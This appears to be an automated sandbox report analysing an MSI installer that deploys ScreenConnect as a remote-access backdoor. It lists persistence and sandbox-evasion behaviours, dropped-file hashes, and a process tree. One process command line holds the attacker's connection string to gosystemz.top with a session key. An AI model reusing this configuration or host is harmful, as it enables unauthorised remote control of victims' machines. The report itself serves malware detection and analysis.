Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    22/05/2026, 09:19

General

  • Target
    security.ClientSetup.msi
  • Size 13.1MB
  • Sample260522-laf9daa161
  • SHA256 010e1b1bfa1956cb88e36f93c2a3459bdb0307dc08c319680fe4e185d404a613
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\security.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:5500
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4692
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding DA736057255F7168EB205C0F8DEC2EAA C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:6140
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5F6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240649859 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5064
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4676
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 41177F5F490BC6401B6DD91001D5A900
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3868
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5BA7DD1343AA70A009423EFACEA0C5A1 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:6128
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:5616
    • C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=gosystemz.top&p=5788&s=d66e253a-4ae9-4ef7-975b-f22899768f6e&k=BgIAAACkAABSU0ExAAgAAAEAAQBdhW758fVKl7iNcHBS0uISfs3mwXI0LUzw9OmNqhcVsuPdLuWMkxzPpLeEz6cKk9wtWyR0ZScJlp%2b0CNR9WEvDlEi7g8SdhqdPtP55gYthxgrshQyAjwA3UbW2vdp2FnRjnETVDvBwZZ%2fi8o6sBkPkvaOEeY1NI%2b043IMVgE7QKiXJ0GfPUjuFt2rgd2RPzj5M0FEKwEmHLrtoKTxUK7DjNvg37hKC9yPPpAfSWfcbnZ7le908CvD%2bemak9EcNSkwKawA7vc1OjQYxklCxZ48UosWzQCtLcgv%2bHZcw3bwsRWz3k2v0dnk0sHvW51eANqSzf%2bjRXvA6XfR9B3F2Vbi4&t=mbhhsbcdcsdc&c=Maxwel&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2656
      • C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.WindowsClient.exe" "RunRole" "b7665d1b-37a3-4e8a-a1f1-c1811984bf29" "User"
        2⤵
        • Executes dropped EXE
        PID:3000
      • C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.WindowsClient.exe" "RunRole" "e9e681d7-fae2-4fd8-bac2-963a548cb4d6" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1060

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e5837f4.rbs

          • Path C:\Config.Msi\e5837f4.rbs
          • Size 214KB
          • SHA256 50de09198ff94643a605227b15e64c7fb1a0fc36ca6198909ec6e33f69f2de4a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 c6d96fc7b4f75a0584a9831e8909204bb81f186c2be76980b3dfb2a152f858d1
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\Client.Override.resources
          • Size 117KB
          • SHA256 3e84b2a75fd44e1815a7868be9ac74c50163aa7d10ebfb9f4f16d07970fc6add
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 db597047fb8f64613ccc4cd345b5a5bc67533adf032cf7b4d738eb04dc8fac9f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 c07705287835517ca554e365a70d460cbed42f84dc39e97378210ee3da385a86
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 b89c1d2bc7f274973115868db48c90740dab2946c3e7c959a388edf753b332f8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.WindowsClient.exe
          • Size 592KB
          • SHA256 b53a5ec5894981511625f7153d01764e56d1c16ebd3f4258cd53a2f8d7d9386a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\app.config
          • Size 1KB
          • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a372438d8896d58f)\system.config
          • Size 931B
          • SHA256 d9d92663874767c157976cf81fd1e7fa8b5399bc3991f8443e9a71c4a0602e09
          • MD5 SHA1 SHA512 TLSH

          MSI5F6.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5F6.tmp
          • Size 1.0MB
          • SHA256 e5cb8fd1d88f2413f0549e4ed37397c7b662572977334b5a0fd9eaeff4b659b3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5F6.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5F6.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 139f7cdc5753234c93f58b7bdeeba05284d5739719f04b6f2faa887808b69e17
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5F6.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 733e7674e610e7b6ef7d99182a67406a986bf095a5067e17fa4c20fe582a4cb5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI5F6.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 d32caf12298a7a901d086613f01e2e6aeaa2aae88b5ced85c1eb7a9e381d4679
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI39C9.tmp

          • Path C:\Windows\Installer\MSI39C9.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5837f3.msi

          • Path C:\Windows\Installer\e5837f3.msi
          • Size 13.1MB
          • SHA256 010e1b1bfa1956cb88e36f93c2a3459bdb0307dc08c319680fe4e185d404a613
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 317a419ca78bda3a05ee36ae6848ca17d045a7d2d91497f8cc4de6058c1edeb1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {3ab4c8c4-436d-4c87-8c3b-49a5266753af}_OnDiskSnapshotProp

          • Path \??\Volume{731567b7-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3ab4c8c4-436d-4c87-8c3b-49a5266753af}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 0ceaf11e19b619aac4fd63ba7dcdbe5c002c4321bdf8e1148f18b62f977fd5cd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1060-127-0x000000001CE00000-0x000000001CE41000-memory.dmp

          memory/2656-91-0x0000000003B90000-0x0000000003BC6000-memory.dmp

          memory/2656-92-0x0000000003E50000-0x0000000003EE2000-memory.dmp

          memory/2656-94-0x0000000003DB0000-0x0000000003DF1000-memory.dmp

          memory/2656-76-0x0000000001250000-0x0000000001268000-memory.dmp

          memory/2656-96-0x0000000004040000-0x0000000004115000-memory.dmp

          memory/2656-87-0x0000000003B40000-0x0000000003B90000-memory.dmp

          memory/3000-123-0x00000000018A0000-0x00000000018B8000-memory.dmp

          memory/3000-118-0x0000000000FD0000-0x0000000001068000-memory.dmp

          memory/3000-119-0x0000000003270000-0x00000000032A6000-memory.dmp

          memory/3000-120-0x000000001D5C0000-0x000000001D64C000-memory.dmp

          memory/3000-121-0x000000001D800000-0x000000001D9AC000-memory.dmp

          memory/3000-122-0x000000001EBF0000-0x000000001ED78000-memory.dmp

          memory/3000-125-0x000000001D2E0000-0x000000001D321000-memory.dmp

          memory/3000-124-0x000000001D2C0000-0x000000001D2D8000-memory.dmp

          memory/5064-26-0x0000000005700000-0x000000000578C000-memory.dmp

          memory/5064-22-0x0000000003260000-0x000000000326A000-memory.dmp

          memory/5064-18-0x0000000003220000-0x000000000324E000-memory.dmp

          memory/5064-30-0x0000000005A80000-0x0000000005C2C000-memory.dmp

          memory/5064-31-0x00000000061E0000-0x0000000006786000-memory.dmp